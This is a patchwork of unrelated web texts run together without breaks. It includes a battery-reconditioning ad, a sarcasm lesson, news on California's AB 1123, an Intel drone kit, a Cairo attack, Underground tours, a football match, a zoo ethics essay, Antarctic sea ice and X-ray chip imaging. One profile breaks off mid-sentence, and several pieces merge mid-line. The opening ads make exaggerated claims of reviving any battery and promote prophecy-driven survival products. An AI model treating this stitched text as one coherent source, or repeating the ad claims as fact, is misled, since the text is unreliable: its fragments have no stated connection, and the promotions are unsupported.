Quick life hacks: There’s a new way to bring nearly any type of old battery back to life…brand new. This method works with nearly every type of battery out there …and it’s simple and quick. In case you’re wondering, you’ll be able to bring car, phone, and laptop batteries back to life with this. It even works with solar/off-grid, marine, golf cart, and forklift batteries. Plus, many more! >> Click here to learn how to bring your dead batteries back to life again << With this recondition battery secret, you won’t have to buy new expensive batteries anymore. You can just recondition your old, used batteries and save a lot of money! And this new video presentation shows you how:
by: Rich M, www.offthegridnews.com
Other Survival Solutions:
Lost Ways (Special Discount) (Learn the special recipe for a SUPER FOOD that will last for years without any special storing conditions!)
Surviving the Final Bubble – Free Shipping (Limited Time Special) (A blueprint to surviving and thriving during the coming Big Bank Derivatives collapse. )
Survive The End Days (The final prophecy for America is about to unfold… )
Alive After The Fall (According to 4 major biblical prophets something truly terrifying is coming our way, and it will hit homeland before the 1st of January 2017...)
World War: Water (The only proven-to-work guide on how to survive America's tough 100-years long drought)Stars ofThe Goon Show - A classic BBC radio comedy
Being sarcastic
People are sarcastic when they say the opposite of the truth, or the opposite of their true feelings in order to be funny or to make a point. It is often thought that along with drinking tea and waiting in queues, the British have a fondness for sarcasm. People are sarcastic when they say the opposite of the truth, or the opposite of their true feelings in order to be funny or to make a point. It is often thought that along with drinking tea and waiting in queues, the British have a fondness for sarcasm. Don't forget to practise what you've learned with the activity further down this page.
Listen - realmedia Download - mp3 (1.8 MB) Script (pdf - 47k)
Listen to some examples of dialogues featuring sarcastic remarks:
Listen - realmedia Download - mp3 (423k) Script (pdf - 42k)
Some common examples of sarcasm Remember to judge when and with whom to be sarcastic - you can offend people with inappropriate use of this language.
After something bad or annoying happens:
Oh terrific / great / brilliant! That's just what I need. After something unsurprising happens:
Well what a surprise! After somebody makes a mistake:
Oh nice one!
Oh well done! After someone says something obvious:
No?! Really? You're quick / clever! The language of sarcasm There are no fixed rules about what language to use when being sarcastic, but the following features are quite common (but this language is used when people aren't being sarcastic too!):
Tag questions:
Of course, you're the real expert at driving, aren't you? 'Yes'... 'because':
You can use this to disagree or argue with someone by seeming to agree: A: Slow down! You're driving too fast!
B: Yeah right, 'cause you never drive too fast, do you? 'I forgot':
A: Slow down! You're driving too fast!
B: Sorry, I forgot you were the expert driver! How many times have you crashed in the last year? 'If'...'must':
Well if you read it on the Internet it must be true! Make it clear that you are being sarcastic It's really important that your conversation partner realises that you are being sarcastic. Here are a couple of ways of doing this: Exaggerate your feelings using strong words and a lively intonation. So if something bad happens, instead of saying Good, I'm glad that's happened try Great! That's just what we need! People will also sometimes use old-fashioned English to exaggerate: Gosh, you're quick!
I say, that's a surprise! Sometimes, the situation will make it obvious that you are being sarcastic and you don't need to worry about people misunderstanding you. But if you are worried that people might misunderstand you, then after your sarcastic comment, say Just kidding! or
I'm only joking! or
I'm sorry!... I'm just being sarcastic. If you want to be sarcastic in writing (for example in an email), try putting an exclamation mark in brackets after your sarcastic comment, like this: So then we visited an enormous steam train museum and you can just imagine what fun that was(!)
Listen to some examples of dialogues featuring sarcastic remarks:[an error occurred while processing this directive] WHAT HAVE YOU LEARNT? Quiz
For each statement, choose an appropriate sarcastic response. Flash not working? You can download a pdf version of the quiz at the bottom of the page.
Download quiz (17k)California Assemblymember Matt Dababneh (D) introduced Assembly Bill 1123, which enacts a virtual currency licensing scheme, to promote dialogue between California legislators and the virtual currency community.
On March 30, 2017, California Assembly Bill 1123 (“AB 1123”) was amended to set forth a proposed virtual currency licensing scheme. If passed, the Bill would enact the Virtual Currency Act, which would require any business that maintains full custody or control of virtual currency to obtain a license from the Commissioner of Business Oversight. As there is no current licensing requirement of this sort in California, the legislation will greatly impact virtual currency businesses in the state.
AB 1123 was introduced on February 17, 2017, and contained a credit-union-related amendment, which was unrelated to virtual currency. ETHNews spoke with Bill Herms, chief consultant with the California Assembly Banking and Finance Committee, who clarified that the deadline to introduce new bills had already passed and so an already-introduced bill was amended to contain the virtual currency licensing framework.
According to Herms, “this version of the bill was amended with language that the Department of Business Oversight felt would be more palatable to the administration.” Assemblymember Matt Dababneh (D) has previously attempted to pass a virtual currency licensing scheme, which was unsuccessful after much criticism from the virtual currency community for failing to sufficiently protect consumers while allowing for continued innovation. “The strategy for this session is to introduce the bill as a placeholder bill to let people know the chair is working on virtual currency issues.” Herms emphasized that the California Assembly has no plans to move the bill forward quickly, but rather to take time to talk to stakeholders about the most appropriate way to amend the bill so “we can do something that works well with everyone.”
The current draft of AB 1123 requires businesses to first complete a lengthy application form and submit a nonrefundable application fee. If approved, businesses would be required to maintain capital and a bond or trust account, make specific consumer protection disclosures, and comply with a transaction receipt requirement. The bill also allows businesses that pose low or no risk to consumers and that operate with less than $1 million in outstanding obligations to pay a $500 application fee for a two-year provisional license. All licensees are also subject to annual renewals/examinations and fees.
The bill is now being considered by the California Assembly Banking and Finance Committee.Timed Messages - By setting a timer you can control how long messages and pictures you share with contacts can be viewed within BBM. Setting the timer is super easy: Before you send your message or picture, you just tap on the timer icon next to the text bar and choose a length of time you want the recipient to be able to view that message. The message is hidden until the recipient touches and holds on the chat. Then, once the timer has expired (or if the recipient takes their finger off the screen), the message is no longer visible. What I love about the timer is that I can move seamlessly between timed messages and normal messages in a single chat depending on what I'm sending. Oh, and don't get any smart ideas about screen shots…if a screen shot is detected, the sender is notified.It's fun to buy a drone from a store, but perhaps more satisfying to build one from scratch. Intel in December will start shipping a fully loaded drone kit to let you do just that, with all the parts including the rotors, software, 3D camera and flight controller.
Intel's Aero Ready to Fly Drone kit will go on sale on the company's website. An Intel spokeperson couldn't immediately provide a price. But it won't be cheap—likely more than $600.
The quadcopter kit has parts that Intel uses to build its own drones. On the company's part, the drone airshows it has organized are getting ambitious: the company has put up 100, and most recently, 500 drones in the sky.
Drones themselves are getting sophisticated. DJI's Phantom has chips and 3D cameras that can navigate safely while avoiding collisions. The Intel Aero Ready to Fly Drone kit has the 3D RealSense camera, which can measure distances and recognize objects and help the drones, when programmed correctly, to fly autonomously to a given destination.
The 3D RealSense camera attaches to a central computer called the Aero Compute Board, which gives the drone its computing horsepower. (Intel also sells the Aero Compute Board separately for $399.) It is powered by a quad-core Atom X7-Z8700 CPU code-named Cherry Trail. It also has LTE, 802.11ac Wi-Fi and a flight controller. The board also has 4GB of LPDDR3 RAM, 16GB of flash storage, a micro-SD slot, a micro-HDMI port, and a wide set of connectors for adapters and breakout boards. It also has the Altera Max 10 FPGA, which can reprogrammed for image recognition, navigation and other deep-learning tasks.
The drone will work with the Airmap software development kit for navigation. Programming will also be required to put the drone in the air. For example, you can use the RealSense SDK to program image recognition for the 3D camera.
An overview on how to build drones from the recent Embedded Linux Conference Europe 2016 is available on Youtube.
The kit will ship in some countries in North America, Europe and Asia. For U.S. buyers Intel has included a caveat relating to government regulations on requiring authorization to fly drones.
Have fun, but be careful. If you crash a drone, you'll have to reinvest in a new kit.Egyptian military police patrol a street near the Vatican's Apostolic Nunciature where Pope Francis stays during his two-day visit in Cairo, on April 29, 2017. (Xinhua/AFP Photo)
CAIRO, May 2 (Xinhua) -- Three policemen were killed and five others were wounded in a gun attack on a police convoy in Cairo, the Interior Ministry said in a statement on Tuesday.
"Unidentified militants riding two vehicles approached a moving security convoy and shot down policemen stationed at an intersection of the ring road, in Nasr City eastern the capital, around 11:45 a.m. Monday" the statement said.
Police returned fire at the attackers, and chased the vehicles in an effort to apprehend the perpetrators, the ministry added.
No group yet has claimed responsibility for the attack.
Egypt has been fighting a wave of anti-security attacks following the ouster of the Islamist leader Mohamed Morsi in 2013.
That attacks, which were mainly centered in Sinai while rarely happened in Cairo, have killed hundreds of soldiers and policemen.
A local affiliate of the Islamic State group in North Sinai province has claimed responsibility of most of the attacks.The London Transport Museum has announced a new round of tunnel and disused station tours, with tickets going on sale next week.
The tours include some old favourites and two new tours — of the tunnels below Euston station, and also TfL’s headquarters building at St James Park.
Prices will be announced when the tickets go on sale.
For a tip on how to get early access to the tickets, read below:
The tours
Down Street disused station tour (review)
Located in Hyde Park Corner and Green Park, Down Street had a short life as a working station from 1907 to 1932 but became critical to winning the Second World War when covertly transformed into the Railway Executive Committee’s bomb-proof bunker.
Visitors will experience the warren of narrow tunnels where the nation’s railways were coordinated and Prime Minister Winston Churchill took refuge secretly at the height of the Blitz.
Dates: Wednesdays, Thursdays, Fridays, Saturdays and Sundays, from 4 August to 11 September 2016; 24 November to 18 December 2016; 11 January to 5 March 2017
Clapham South: WW2 shelter (review)
Journey 180 steps underground to explore one of eight Second World War deep-level shelters that exist across London. Opened to the public in July 1944, Clapham South deep-level shelter has over a mile of subterranean passageways that reveal the extraordinary stories of those who sheltered here, from Londoners seeking refuge during the Blitz, to Caribbean migrants arriving on the Empire Windrush in 1948 and even thrifty visitors to the Festival of Britain in 1951.
Dates: Wednesday, Thursday, Fridays, Saturdays and Sundays, from 14 July to 21 Aug 2016; 2 March to 26 March 2017
55 Broadway: London’s first skyscraper (review)
Visitors will enjoy an expert led exclusive tour inside London’s first skyscraper, 55 Broadway at St. James’s Park. Radical and offensive to some when unveiled in 1929, this Grade I listed structure is now a wonderful example of Art Deco London.
This tour allows elite access to London Underground’s former headquarters and offers a new perspective on the capital city. Includes stunning rooftops views.
Dates: Saturdays and Sundays, 7/8 May, 4/5 June, 2/3 July, 13/14 August, 8/9 October, 19/20 November, 3/4 December 2016
Euston: The lost tunnels
Enter a labyrinth of dark and deserted passageways which were once used by the travelling public, and a gallery of preserved vintage advertising poster fragments that have been concealed for over 50 years.
Dates: Thursday, Fridays, Saturdays and Sundays, from 26 May to 19 June 2016; 22 September to 30 October 2016
Aldwych and Charing Cross
No tours this time due to planned works at those sites.
Priority booking option
If you sign up to the Transport Museum’s newsletter by the end of Monday 18th April, you will receive a priority booking link ahead of the main release of tickets on the 20th April.Lee Cattermole: Sunderland captain was sent off after the final whistle by referee Mike Dean
Martin O'Neill admits Lee Cattermole's red card was'merited' after the Sunderland captain was punished after the final whistle in the 1-1 draw at Newcastle United.
Cattermole was shown a straight red card at full-time by referee Mike Dean after being deemed to have used foul and abusive language.
The midfielder had been booked inside the opening minute of the game at St James' Park following a challenge on Cheick Tiote and it was his 10th yellow card of the season.
Black Cats boss O'Neill did not quibble with Cattermole's red card, but did question whether Tiote should also still have been on the pitch after the Newcastle midfielder committed a string of fouls.
Mitigating circumstances
"I have gone in to see the referee and you can't be abusing the referee and therefore it has to be merited," O'Neill told ESPN.
"There were plenty of mitigating circumstances though. Tiote is a fine player but he was very lucky still to be on the field."
Sunderland had led at the home of their arch-rivals through Nicklas Bendtner's first-half penalty after Michael Turner had been fouled by Mike Williamson.
However, Stephane Sessegnon was sent off on 58 minutes for catching Tiote in the face and O'Neill had no complaints with that decision.
He added: "It's a sending-off offence and it hands the initiative to the opposition."
Visiting keeper Simon Mignolet then saved Demba Ba's penalty before an injury-time equaliser from substitute Shola Ameobi left O'Neill frustrated.
"I am very proud of the team and very disappointed to have dropped the points so late in the game," said O'Neill.
"We played brilliantly first half and deserved to be in front. But it is difficult to win a game with 10 men. We defended resolutely and it was a terrific effort."Like I briefly mentioned in a previous post, I’ll probably soon start doing occasional gigs as a tour guide at a local zoo. Since it’s a reputable establishment, EAZA member and so on, it’s very concerned with environmental issues and conservation programs, and the justification for the existence of zoos as necessary reserves for endangered species is naturally part of the curriculum for us would-be guides.
Nobody denies that public enclosures are a stressful habitat for animals to say the least, and most often too small to meet the space requirements for healthy behaviour. However, it is also clear that the diminished populations of many of the species commonly kept in captivity are not going to recover without ex situ breeding programs, most of which need to be organised in zoos to secure funds and ensure collaboration. Donations are also needed to protect species in their natural habitat, and people are obviously more willing to contribute when they can go see the animals in real life instead of just watching YouTube clips.
In this post I’ll sort of outline my intuitions about whether harm caused to individuals is justified if it’s done in order to save a species, i.e. how much intrinsic value we should place on species diversity compared to other moral concerns.
***
In environmental ecology as well as outside of it, we see the endangerment of species as one of the greatest global tragedies humans have caused, and we’re accustomed to judge an ecosystem’s state by how its populations are doing in numbers, never giving much thought to individuals and their experienced lives. This is understandable, of course: from our point of view, a single rabbit in our backyard might as well be any other rabbit (or not exist at all) and no one would care, but the entire species of rabbits couldn’t be a species of kangaroos (or disappear without warning), or we’d hopefully notice something is wrong. It would be unreasonable to expect people to automatically care as much about individuals they can’t even tell apart, whereas assigning value to a species is a pretty intuitive way to think about animals.
In addition, we’re simply not used to seeing most animals, even those that most likely have phenomenal consciousness, as individuals whose quality of life should matter. From that perspective the world looks unbearably horrible: denying the validity of this view and asserting instead the naturalistic, teleological alternative that everything in nature just works as it should is an effective and sometimes necessary coping strategy, but a weird and poorly supported conclusion for those who care about suffering. (This is a very interesting discussion, but also extremely complicated and way beyond the scope of this post, so go read some David Pearce instead.)
When ascribing moral value to species over individuals, we are making a mistake, I think. A species isn’t a sentient being that cares about its own fate or can be harmed like a creature with qualia and/or preferences: instead, anything that is done in order to protect a species is, on the object level, experienced by its members, which we in many cases indeed have reason to assume are conscious – and protecting a species from extinction does not necessarily protect its members from harm, as is well demonstrated by stress markers in captive animals. Moral judgments should primarily be concerned with conscious beings capable of subjective feeling (to simplify things a bit, I guess judgments made for other reasons are sort of in the realm of aesthetics).
***
When environmentalists talk about biodiversity, often with an implicit focus on the diversity of species, they usually employ the following strategy: whenever possible, they will describe the importance of diversity in terms of the actual or possible instrumental value species have to humans and their wellbeing – the biosphere is more resilient when it’s more complex, and ecosystems can get messed up in totally unpredictable ways if a seemingly useless species goes extinct, and as a result we might lose important services like as yet unknown plants that could be used in medicine or even psychologically important biotopes and landscapes – and when this type of argument fails, such as when some species is with very high confidence judged replaceable in its ecosystem, they resort to arguing for the intrinsic value of diversity.
To be clear, I wholeheartedly agree with most of the above, and certainly with don’t destroy species if it isn’t necessary as a heuristic. With our currently lacking ecological knowledge and ability to model chaotic biological systems, our predictions are nowhere near good enough to allow us to ignore the extinction of species without probably causing something extremely regrettable along the way. For the instrumental reasons described above as well as a simple aesthetic preference for a myriad of interesting critters hopping around, I too think preserving biodiversity is important.
What I’m not completely buying is the claim that it should always be treated as intrinsically valuable, or that to such an extent that species are saved even at a great cost to individuals just for the sake of it, regardless of what our estimates are for their instrumental value and function as part of the system at large. I think this is one point where conservationalism as a movement gets a bit handwavey and poorly examined, ethics-wise.
Assume there is a subspecies of tigers that are, due to some psychobiophysical accident, in constant distress to the point of howling and writhing in pain (I hate these thought experiments too, but that’s ethics for you). This is the only obvious phenotypic feature that distinguishes them from, say, Bengal tigers, but it’s certainly an uncontroversial example of diversity. The population is already very small due to long-time human activity in their area, the species doesn’t serve any relevant ecological purpose that other felines in the area couldn’t take care of equally well, and without coordinated effort to save the species, it is likely to perish very soon.
Should we save this subspecies in the name of biodiversity even if the individuals suffer immensely because of this? My moral intuitions strongly suggest we shouldn’t. What if these were the last of the tigers left on Earth? No, not even then, although it would slightly hurt humans to whom the extinction of tigers is a sad and dreadful thought. What if it was some relatively uninteresting grayish-brown grass-eating whateverdeer¹, or some other creature people don’t find particularly impressing and culturally irreplaceable? Certainly not. Live, sentient creatures and their welfare should be respected above abstract categories.
So, it seems that even if species diversity might be valuable in itself at least as an aesthetic preference, it should easily be trumped by other values, such as not causing significant harm to individuals. The mosquitoes that spread malaria are an important part of many equatorial ecosystems, yet not many would protest erasing them if it could be easily achieved. At the very least, we would gladly wipe out the disease-inflicting Plasmodium parasites themselves, even if these protozoans also undoubtedly add to the species diversity of the area and certainly have an impact on the ecosystem. We destroyed smallpox and rinderpest because they harmed us and our cattle; this is arguably different from letting macroscopic organisms die, but it indicates that biodiversity isn’t a priority when the harm is obvious enough.
***
The suffering-tiger-subspecies example actually has a milder analogue in real life conservation programs. The feline that has the hardest time thriving in our zoo is the Amur leopard, a subspecies of which there are only about sixty individuals left in the wild. It has been successfully bred in captivity, but often the specimens simply don’t adjust to a zoo environment and end up too stressed out to breed, usually exhibiting even more stereotypies than other big cats because even their minimum requirements for roaming space are pretty much impossible to satisfy in a zoo setting. Our guide guide explicitly states that these animals wouldn’t be kept in zoos at all if it weren’t for their rarity, so distressed do they tend to become in traditional enclosures even when they’re of a reasonable size for most other big cats.
What is the reason we strive to conserve this subspecies, then? Its natural habitat is almost completely destroyed, its prey animals too few to even support a large population – especially since it’s in indirect competition with the Siberian tiger, another endangered species that shares its niche. At what point does the amount of suffering endured by captive individuals cross the treshold where it’s better to just accept its extinction?
Bringing species back from extinction is probably going to be possible in the future, but also very expensive and impractical. Like any other human, I would be afraid of screwing up when there’s no realistic way in sight to undo the damage. Striving to conserve the species in order to not cause anything so irrevocable, then, is a reasonable approach and part of me would certainly also be hesitant to accept the extinction of this or any other animal.
But the distress of each captive leopard is also something irrevocable. Even if the individuals currently kept and bred in zoos around the world would eventually bring the population to a healthy level, and all the raised awareness and funds would help to save all that’s left of their natural habitat too, a tragedy would not have been averted.
Of course, it is the kind of tragedy humans are very bad at caring about. I feel silly writing about zoos when we have things like factory farming, a source of unfathomably greater amounts of animal suffering. Worse yet, this post glosses over the fundamental issue of how everything in nature pretty much sucks – living free doesn’t mean an animal is happy or content, just that it struggles in a different way, merely avoiding the one type of stress that’s caused by not being able to execute behaviour it’s adapted to exe cute. However, even if it’s plausible that for some animals living in captivity is actually less horrible than out in the wild, the alternative of individuals existing in zoos isn’t existing in the nature, it’s not existing at all (or in some cases, existing in a better setting, which is hopefully what many zoos seek to become in the future), so directly comparing these two options is fallacious, and the suffering of zoo animals should be seen as it is.
In conclusion, even if meat production and wild animal suffering are undoubtedly bigger problems, the latter especially is difficult to do much about right now so smaller issues such as our attitudes towards species conservation are probably at least worth identifying. Like I said, this post isn’t meant to be a particularly rigorous investigation or anything, but currently my intuitions seem to point against valuing species conservation as much as we currently do: no animals clearly unfit for captivity should be bred in zoos without extremely good reasons to do so, and zoos that keep animals they can’t provide enough space for are causing harm without sufficient justification – not exempt merely on the grounds of preserving biodiversity.
________
¹ Not representative of author’s actual opinions on deer. Deer are the best.
Advertisementshttps://www.lewrockwell.com/lrc-blog/a-diabolic-confession/
As he was dying from lung cancer, the legendary Machiavellian CIA head of Counterintelligence, James Jesus Angleton, provided author Joseph J. Trento this startling candid confession:
You know how I got to be in charge of counterintelligence? I agreed not to polygraph or require detailed background checks on Allen Dulles and 60 of his closest friends... They were afraid that their own business dealings with Hitler’s pals would come out. They were too arrogant to believe that the Russians would discover it all...
Fundamentally, the founding fathers of U.S. intelligence were liars. The better you lied and the more you betrayed, the more likely you would be promoted. These people attracted and promoted each other. Outside of their duplicity, the only thing they had in common was a desire for absolute power. I did things that, in looking back on my life, I regret. But I was part of it and loved being in it... Allen Dulles, Richard Helms, Carmel Offiie, and Frank Wisner were the grand masters. If you were in a room with them you were in a room full of people that you had to believe would deservedly end up in hell. I guess I will see them there soon.
Joseph J. Trento, The Secret History of the CIA, pages 478-479.
10:03 pm on October 19, 2013
The Best of Charles BurrisMOSCOW — In December, Grigorii Bedzhamov, the president of Russia’s national bobsled federation, disappeared. He stopped coming to work, stopped answering his cellphone, stopped answering his emails.
A week into the silence, the Russian news media began to report that Mr. Bedzhamov had fled the country amid an emerging bank scandal. The Russian edition of Forbes magazine placed him in Monaco and reported that he was preparing to apply for political asylum in another European country. Soon after, the bobsled federation released a statement saying that Mr. Bedzhamov was on a “planned vacation.”
But almost three months later, Mr. Bedzhamov is still on that vacation, and the federation, which is struggling to pay its bills and its coaches, says it has still not heard from him.
“No idea,” Kirill Serikov, the federation’s acting director, said when asked about his colleague’s whereabouts.He has come a long way from the Swiss vineyards he harvested as a youth.
"As a young person, I was a wine grower. I jumped off my tractor and quickly went to university," he recalled, eyes lighting up, as he sat on the terrace of the Acropole hotel in the Sudanese capital, Khartoum.
He credits his roots as a vine grower with some responsibility for his subsequent career. "One learns how to see the ground, the vegetation, the colours of the ground," he said, things he could not pick up at university.
Bonnet helped show that Sudan was not merely a satellite to Egypt's wealth of ancient relics. He unearthed statues of Sudan's "black pharaohs", the overlords of the Kingdom of Kush, suggesting that Sudan was a trove itself.
After university, he drifted to South America, but ended up setting his sights on Egypt. "I was interested in Egypt, but more in Africa. I realised it was wrong to seek Sudan in Egypt. It was necessary to seek Sudan in Sudan," he said.
He has explored its |
possible that no one in your particular household receives them. Benefits include both cash benefits, including the retirement pension or child benefit, and benefits in kind, which includes public spending on health and education, amongst other things. x The balance is the sum left after tax paid has been taken away from money received in benefits.
To find out more you can watch BBC political editor Nick Robinson's documentary series, Your Money and How They Spend It. Episode one is on BBC Two at 21:00 Wednesday 23 November.
Feedback
Send us your views. There is a Q&A on this interactive here. You can see more interactive features and graphics and follow us on Twitter.I’ve always been a skeptic when it comes to Antarctic sea ice. I’m not referring here to the tiresome (and incorrect) claim that the expansion of sea ice around Antarctica somehow cancels out the dramatic losses of sea ice in the Arctic (NB: polar bears don’t really care if there is sea ice in Antarctica or not). Rather, I’m referring to the idea that the observation of Antarctic sea ice expansion represents a major conundrum in our understanding of the climate system, something one hears even from knowledgeable commentators. In this post, I’ll try to provide some clarity on this subject, with some basic background and discussion of a couple of important recent papers.
In general, Antarctic sea ice forms near the coastline, where upwelling waters cool to the atmosphere. It melts when the winds and currents push it into areas of warmer water to the north. In the summer, it melts pretty much all the way back to the coast. An efficient way to form lots of Antarctic sea ice during the autumn growth season is to have strong winds that push the ice away from the coastline. Pushing sea ice away leaves open water that can lose heat to the atmosphere, creating more sea ice. The persistent circumpolar westerlies are critical in pushing ice toward the north, into warmer waters. (Owing to the Coriolis effect, westerly winds cause northward-flowing surface ocean currents in the Southern Hemisphere).
The importance of the winds in controlling Antarctic sea ice leads to the obvious idea that changing winds can explain the increase that has been observed over the last several decades. There has indeed been a substantial increase in the circumpolar westerlies; this is very well established from observations and is associated with the oft-discussed increase in the “Southern Annular Mode” (SAM) index2. Averaged over the year, the SAM index has increased nearly monotonically since the 1970s (e.g., Marshall et al., 2003). This has led to a fairly simple logic in explaining the recent sea ice increase: the westerly winds have increased, so sea ice has increased too. Furthermore, there is good evidence that the increasing westerlies are a response to anthropogenic climate forcing from CO 2 and other greenhouse gas increases in the troposphere, along with ozone declines in the stratosphere (Thompson and Solomon, 2002; Thompson et al., 2011). This would suggest that the observed increase in Antarctic sea ice extent is anthropogenic in origin, just like the Arctic sea ice decline, but for very different reasons. In short, reduced ozone in the stratosphere, and increased CO 2 in the troposphere — both climate forcings that are unequivocally anthropogenic — cause increased westerly winds, which cause Antarctic sea ice to expand.
Of course, it’s not that simple. For one thing, the average increase of Antarctic sea ice is actually a small number that is the difference of two big numbers — modest increases over a large area, mostly in the Eastern Hemisphere, and very large decreases over a smaller area in the Western Hemisphere. The map below, showing change in the length of the sea ice season over the last 30 years, illustrates this point well. In spite of the average increase, there are very rapid declines in the Bellingshausen and Amundsen Seas, comparable to sea ice declines in the Arctic. Furthermore, the only season is which there is a significant trend in the westerlies is austral summer. There is a weak positive trend in fall, but both spring and winter show no trend; the SAM trends in these seasons may even be slightly negative, depending on which data are used (Ding et al., 2012). Yet the pattern of sea ice change is quite similar in all seasons: decreasing along the Pacific coast of West Antarctica, and increasing around most of East Antarctica, and in the Ross and Weddell Seas.
On top of these subtleties, confusion about the role of the winds has arisen because some of the prominent modeling studies that have examined the relationship between the westerly winds and Antarctic sea ice have come up with results that appear to be in direct opposition to the observations. When fully coupled climate models are run with increased CO 2 and decreased stratospheric ozone, the westerly winds increase as has been observed, but sea ice decreases around most of Antarctica. For example, Bitz and Polvani, 2012 found that the pattern of trends is the mirror image of the observations, with increases, rather than decreases in the Amundsen and Bellingshausen Seas.
So what’s really going on? One idea is that changes in ocean stratification might be important. There has been a huge increase in the amount of fresh water getting into the Southern Ocean from melting glaciers, especially in the Amundsen Sea (see, e.g., the latest data from Sutterly et al., 2014). Fresh water forms a sort of buoyant lid on the ocean, limiting the ability of heat from the warmer water below to get to the sea ice and melt it. A study by Bintanja et al. (2013) showed that it was a least plausible that this explains the Antarctic sea ice change. A basic problem, though, is that the greatest discharge of meltwater is occurring in the Amundsen Sea, exactly where sea ice is declining, so while this probably is part of the story, I doubt it’s very dominant.
As it turns out, comparing observations with the results of model experiments like those of Bitz and Polvani (2012) is misleading. Most such experiments are equilibrium experiments: What’s done is to run a model under “preindustrial” conditions, and then to run it again with reduced ozone and increased CO 2, and to look at the difference. This provide a measure of what will eventually happen (at least in the model) after many decades or centuries. But when you look at the transient response to changes in the circumpolar winds, as Marshall et al (2014) have done, it turns out that two important things happen. The winds tend to push the sea ice boundary northward, as we would have expected. But the winds push the surface ocean northward too, and cause a slow rise in the isopycnal surfaces (surfaces of constant density). This brings relatively warm deep water closer to the surface, eventually melting sea ice after a period of a few decades, countering the initial increase in sea ice. These results explain why equilibrium model calculations find sea ice decreasing in response to ozone forced changes in the circumpolar winds, and also why observations show the opposite. Not enough time has passed for the equilibrium response to be manifested. These results suggest that some time in the next few decades, there will reverse, and average sea ice will begin to decline.
Furthermore, there’s a whole lot more going on with the winds than just “increased westerlies”. In the areas where the big sea ice losses have occurred, the concept of “circumpolar westerlies” isn’t very relevant. A far more important measure of wind variability in the Amundsen and Bellingshausen Seas is the Amundsen Sea Low (ASL).5 The ASL describes the average location of storms systems the bring heat and moisture into West Antarctica. Changes in the ASL may occur for myriad reasons, but one big hammer that can make it ring is the propagation of atmospheric planetary wave arising out of the tropics, more-or-or less associated with ENSO (El Niño-Southern Oscillation) variability. It’s been clear for many years that ENSO variability play a significant role in sea ice variability in those regions, and recent work shows that this can explain the trends pretty well too (e.g. Yuan and Li, 2008; Stammerjohn et al., 2008). Not incidentally, the adjacent land areas of the Antarctic Peninsula and the West Antarctic Ice Sheet have warmed significantly over the last few decades (Steig et al, 2009; Orsi et al., 2013; Bromwich et al, 2013), and those changes can also be attributed largely to tropical climate variability (Schneider and Steig, 2008; Ding et al., 2011; Schneider et al., 2012; Steig et al., 2013). The cause of temperature and sea ice change is the same: more warm air is being steered into West Antarctica, and the atmospheric flow tends to push sea ice against the continent, keeping it from expanding.
So, do we get the right answer if we take into account all of the wind changes that have occurred over the last few decades? The answer is yes. This is nicely illustrated in a study by Holland and Kwok (2012), who showed that wind, ice motion, and ice concentration changes match each other remarkably well. Where the wind has been increasingly northward, concentrations are increasing; where wind and ice motion changes are toward the continent, ice concentrations are decreasing. And this year, Holland et al. (2014), showed that when they drive an ocean and sea ice model with observed winds — not just increased westerlies, but the full range of wind changes, as calculated by the ECMWF (European Center for Medium Range Weather Forecasting) –- they correctly simulate the overall expansion of sea ice, and they also get the pattern of changes pretty much spot-on. To be sure, the authors note that not all the details are explained, and they highlight the possibly greater importance of thermodynamic consideration (i.e. ocean temperature/stratification) in some areas than in others. Also, the period they study (1992-2010 only) is pretty short. The results are nevertheless pretty compelling. Just like the observations, the calculations show large decreases in the Amundsen and Bellinghausen seas, but increases nearly everywhere else.7
Taken as a whole, these results show that there is no significant contradiction between our understanding of Antarctic sea ice and the observation that it is, in average, expanding. We can explain sea ice trends in the Antarctic rather well if we take into account the full range of changes in winds that have occurred. The average expansion of Antarctic sea ice was not anticipated, but it hardly represents any sort of existential threat to our fundamental understanding of the climate system as a whole. It’s merely an interesting scientific challenge.
Not incidentally, changing winds also have a lot to do with what’s been happening to the Antarctic ice sheet (meaning the land-based glaciers, distinct from the sea ice). I’ll have another post on that later this month, or in the New Year.
For a more in-depth version of this post, see Climate Change National Forum / Making Sense of Antarctic Sea Ice Changes.The semiconductor industry is beyond remarkable when it comes to the complexity and precision of processes. A modern integrated circuit is not a single layer of circuitry, but many layers, all stacked on top of each other. This is all done through photolithography, where a pattern is imaged on a silicon wafer. Each layer requires a separate image, and all the images have to be aligned. If you take the 14nm number seriously (a nanometer is 1/1,000,000th of a millimeter), then wafers and masks, which are seriously hold-in-two-hands-big, have to be aligned with a precision that is better than the feature size. But, how do you know you've done it right?
The obvious answer is whether or not the chip works. But it would be nice to image the circuit so that it can be compared to the design. Apart from detecting problems during manufacturing, being able to image the final product would also allow for the design to be improved, since it would let you identify areas of a chip that consistently cause problems. But, how do you image structures that might be as small as 14nm that are buried under other structures that you also want to image?
The answer, it seems, is a form of X-ray tomography.
3D images from buried structures
We're all pretty familiar with the idea of getting an X-ray, which is a form of shadow imaging. The bones absorb more X-ray radiation than the surrounding flesh, creating a shadow. The X-ray image shows the contrast between bone and flesh, allowing doctors to pinpoint fractures and, ahem, buried objects.
You may be less familiar with X-ray crystallography. In crystallography, the X-rays are scattered by the atoms in a crystal. Because the atoms are arranged in a regular pattern, the 2D pattern of the scattered X-rays reveals the 3D structure of the crystal. This only works because the 3D pattern repeats itself many, many times, allowing the scattering of individual atoms to be amplified.
An integrated circuit is somewhere in between these two. The circuit consists of materials with different densities: some scatter X-rays strongly, others weakly. Some are crystalline, some are not. However, the X-rays penetrate deeply enough that the scattered radiation contains all the information about the entire structure. In principle, a single snapshot of the scattering pattern should allow the 3D image to be reconstructed.
But, it doesn't. The reason is that we record the X-ray intensity and not the amplitude. The difference between the two is the phase of the radiation. The bright spots in the scattering pattern record locations for which the phases of different X-rays add up constructively, but the constructive interference can be achieved in any number of ways. Absent the regular structure of a crystal, there's no way of telling which one of these ways produced what you're seeing. In other words, an infinite number of 3D structures can supply the same intensity distribution.
Making the infinite finite
The way around the problem is to eliminate the numerous incorrect structures by insisting that the integrated circuit has a single, consistent structure. Take a single X-ray scattering pattern from a section of chip. Then rotate the chip and take another pattern. The structure that generated the pattern is the same in both cases, even though the patterns are different. You can keep doing this for different angles and different but overlapping areas of the integrated circuit.
You end up with many, many different X-ray scattering patterns that all correspond to the same underlying structure. This constrains the phases of the scattering X-rays. You feed the data to a sort of mathematical guess and correct-the-guess routine, which iterates until it determines the one unique structure that generated all the scattering patterns.
This is a common technique in many 3D imaging schemes. But, in X-ray imaging it was kind of rare because the sources are so pathetically weak. Essentially, it takes a very long time to obtain each pattern, and you need a lot of patterns. By the time you've finished imaging, management has brought you your golden watch.
